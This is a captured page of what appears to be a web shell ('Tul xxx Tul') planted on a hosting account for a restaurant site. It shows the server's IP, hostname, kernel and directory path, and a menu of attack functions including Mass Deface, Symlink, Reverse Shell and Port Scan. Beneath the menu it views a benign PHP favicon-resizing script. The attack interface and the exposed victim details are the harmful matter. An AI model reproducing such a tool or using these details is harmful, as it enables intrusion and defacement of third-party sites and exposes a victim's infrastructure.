Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
consaboragourmet.com
/
public_html
/
Viewing: icon.php
<?php $srcPath = __DIR__ . '/images/favicon.png'; $candidates = [ __DIR__ . '/uploaded_img/business_logo.png', __DIR__ . '/uploaded_img/business_logo.webp', __DIR__ . '/uploaded_img/business_logo.jpg', __DIR__ . '/uploaded_img/business_logo.jpeg', ]; foreach ($candidates as $candidate) { if (is_file($candidate)) { $srcPath = $candidate; break; } } $size = isset($_GET['size']) ? intval($_GET['size']) : 512; if ($size < 48) $size = 48; if ($size > 1024) $size = 1024; $maskable = isset($_GET['maskable']); $v = isset($_GET['v']) ? (string)$_GET['v'] : ''; $srcMtime = @filemtime($srcPath) ?: 0; $srcSize = @filesize($srcPath) ?: 0; $etag = '"' . sha1($srcPath . '|' . $srcMtime . '|' . $srcSize . '|' . $size . '|' . ($maskable ? '1' : '0') . '|' . $v) . '"'; header('ETag: ' . $etag); header('Cache-Control: public, max-age=31536000, immutable'); header('Vary: Accept-Encoding'); if (isset($_SERVER['HTTP_IF_NONE_MATCH']) && trim((string)$_SERVER['HTTP_IF_NONE_MATCH']) === $etag) { http_response_code(304); exit; } if (!file_exists($srcPath) || !function_exists('imagecreatetruecolor')) { header('Location: images/favicon.png'); exit; } $img = @imagecreatefrompng($srcPath); if (!$img) { $data = @file_get_contents($srcPath); if ($data === false) { header('Location: images/favicon.png'); exit; } $img = @imagecreatefromstring($data); if (!$img) { header('Location: images/favicon.png'); exit; } } $w = imagesx($img); $h = imagesy($img); $canvas = imagecreatetruecolor($size, $size); imagealphablending($canvas, false); imagesavealpha($canvas, true); $transparent = imagecolorallocatealpha($canvas, 0, 0, 0, 127); imagefill($canvas, 0, 0, $transparent); $padRatio = $maskable ? 0.04 : 0.0; $pad = (int)round($size * $padRatio); $available = max(1, $size - 2 * $pad); $scale = min($available / max(1, $w), $available / max(1, $h)); $dstW = max(1, (int)round($w * $scale)); $dstH = max(1, (int)round($h * $scale)); $dstX = (int)round(($size - $dstW) / 2); $dstY = (int)round(($size - $dstH) / 2); imagealphablending($canvas, true); imagecopyresampled($canvas, $img, $dstX, $dstY, 0, 0, $dstW, $dstH, $w, $h); imagedestroy($img); header('Content-Type: image/png'); imagepng($canvas, null, 9); imagedestroy($canvas);
Coded With 💗 by
0x6ick